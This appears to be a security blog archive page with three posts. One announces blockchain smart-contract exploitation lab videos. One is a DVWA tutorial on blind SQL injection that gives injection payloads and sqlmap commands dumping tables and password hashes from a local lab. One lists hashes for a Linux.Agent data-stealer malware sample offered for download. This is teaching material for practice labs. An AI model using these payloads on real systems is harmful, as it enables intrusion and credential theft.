viernes, 21 de agosto de 2020

Blockchain Exploitation Labs - Part 2 Hacking Blockchain Authorization


Bypassing Blockchain Authorization via Unsecured Functions


Note: Since the first part of this series I have also uploaded some further videos on remediation of reentrancy and dealing with compiler versions when working with this hacking blockchain series.  Head to the console cowboys YouTube account to check those out.  Haha as mentioned before I always forget to post blogs when I get excited making videos and just move on to my next project… So make sure to subscribe to the YouTube if you are waiting for any continuation of a video series.. It may show up there way before here. 

Note 2:  You WILL run into issues when dealing with Ethereum hacking, and you will have to google them as versions and functionality changes often... Be cognizant of versions used hopefully you will not run into to many hard to fix issues. 

In the second part of this lab series we are going to take a look at privacy issues on the blockchain which can result in a vulnerably a traditional system may  not face. Since typically blockchain projects are open source and also sometimes viewable within blockchain explorers but traditional application business logic is not usually available to us. With traditional applications we might not find these issues due to lack of knowledge of internal functionality or inability to read private values on a remote server side script.  After we review some issues we are going to exploit an authorization issues by writing web3.js code to directly bypass vertical authorization restrictions.

Blockchain projects are usually open source projects which allow you to browse their code and see what's going on under the hood.  This is fantastic for a lot of reasons but a developer can run into trouble with this if bad business logic decisions are deployed to the immutable blockchain.  In the first part of this series I mentioned that all uploaded code on the blockchain is immutable. Meaning that if you find a vulnerability it cannot be patched. So let's think about things that can go wrong..

A few things that can go wrong:
  • Randomization functions that use values we can predict if we know the algorithm
  • Hard-coded values such as passwords and private variables you can't change.
  • Publicly called functions which offer hidden functionality
  • Race conditions based on how requirements are calculated

Since this will be rather technical, require some setup and a lot of moving parts we will follow this blog via the video series below posting videos for relevant sections with a brief description of each.  I posted these a little bit ago but have not gotten a chance to post the blog associated with it.  Also note this series is turning into a full lab based blockchain exploitation course so keep a lookout for that.

In this first video you will see how data about your project is readily available on the blockchain in multiple formats for example:
  • ABI data that allows you to interact with methods.
  • Actual application code.
  • Byte code and assembly code.
  • Contract addresses and other data.

 Lab Video Part 1: Blockchain OSINT: 



Once you have the data you need to interact with a contract on the blockchain via some OSINT how do you actually interface with it? That's the question we are going to answer in this second video. We will take the ABI contract array and use it to interact with methods on the blockchain via Web3.js and then show how this correlates to its usage in an HTML file

Lab Video Part 2: Connecting to a Smart Contract: 




Time to Exploit an Application:

Exploit lab time, I created an vulnerable application you can use to follow along in the next video. Lab files can be downloaded from the same location as the last blog located below. Grab the AuthorizationLab.zip file:

Lab file downloads:



Ok so you can see what's running on the blockchain, you can connect to it, now what?   Now we need to find a vulnerability and show how to exploit it. Since we are talking about privacy in this blog and using it to bypass issues. Lets take a look at a simple authorization bypass we can exploit by viewing an authorization coding error and taking advantage of it to bypass restrictions set in the Smart Contract.  You will also learn how to setup a local blockchain for testing purposes and you can download a hackable application to follow along with the exercises in the video..

Lab Video Part 3:  Finding and hacking a Smart Contract Authorization Issue: 





Summary:

In this part of the series you learned a lot, you learned how to transfer your OSINT skills to the blockchain. Leverage the information found to connect to that Smart Contract. You also learned how to interact with methods and search for issues that you can exploit. Finally you used your browsers developer console as a means to attack the blockchain application for privilege escalation.

Continue reading


Publicado por en No hay comentarios:

Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.
When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."
To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:
Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:
Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:

We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:
' or 1=1-- -
This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.
Enter the following in the User ID field:
' or 1=1 order by 1-- -
Again we get a valid response lets increase the number to 2.
' or 1=1 order by 2-- -
We get a valid response again lets go for 3.
' or 1=1 order by 3-- -
We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:
1' and substring(version(), 1,1) = 1-- -
Since we don't see any output we have to extract data character by character. Here we are trying to guess the first character of the string returned by version() function which in my case is 1. You'll notice the output returns a valid response when we enter the query above in the input field.
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:
1' and substring(version(),1,1) = 2-- -
And we get the invalid response. To determine the second character of the string returned by the version() function, we will write our query like this:
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:
sqlmap --version
this will print the version of your sqlmap installation otherwise it will give an error indicating the package is not installed on your computer. If its not installed then go ahead and install it.
Now type the following command to get the names of the databases:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id
Here replace the PHPSESSID with your session id which you can get by right clicking on the page and then clicking inspect in your browser (Firefox here). Then click on storage tab and expand cookie to get your PHPSESSID. Also your port for dvwa web app can be different so replace the URL with yours.
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables
After getting the list of tables its time to dump the columns of users table like this:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns
And at last we will dump the passwords column of the users table like this:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump
Now you can see the password hashes.
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all
But obviously it is time and resource consuming so we only extracted what was interested to us rather than dumping all the stuff.
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.

References:

1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp
Related news
Publicado por en No hay comentarios:

Linux.Agent Malware Sample - Data Stealer



Research: SentinelOne, Tim Strazzere Hiding in plain sight?
Sample credit: Tim Strazzere


List of files

9f7ead4a7e9412225be540c30e04bf98dbd69f62b8910877f0f33057ca153b65  malware
d507119f6684c2d978129542f632346774fa2e96cf76fa77f377d130463e9c2c  malware
fddb36800fbd0a9c9bfffb22ce7eacbccecd1c26b0d3fb3560da5e9ed97ec14c  script.decompiled-pretty
ec5d4f90c91273b3794814be6b6257523d5300c28a492093e4fa1743291858dc  script.decompiled-raw
4d46893167464852455fce9829d4f9fcf3cce171c6f1a9c70ee133f225444d37  script.dumped

malware_a3dad000efa7d14c236c8018ad110144
malware fcbfb234b912c84e052a4a393c516c78
script.decompiled-pretty aab8ea012eafddabcdeee115ecc0e9b5
script.decompiled-raw ae0ea319de60dae6d3e0e58265e0cfcc
script.dumped b30df2e63bd4f35a32f9ea9b23a6f9e7


Download


Download. Email me if you need the password

Read more
Publicado por en No hay comentarios:
Suscribirse a: Entradas (Atom)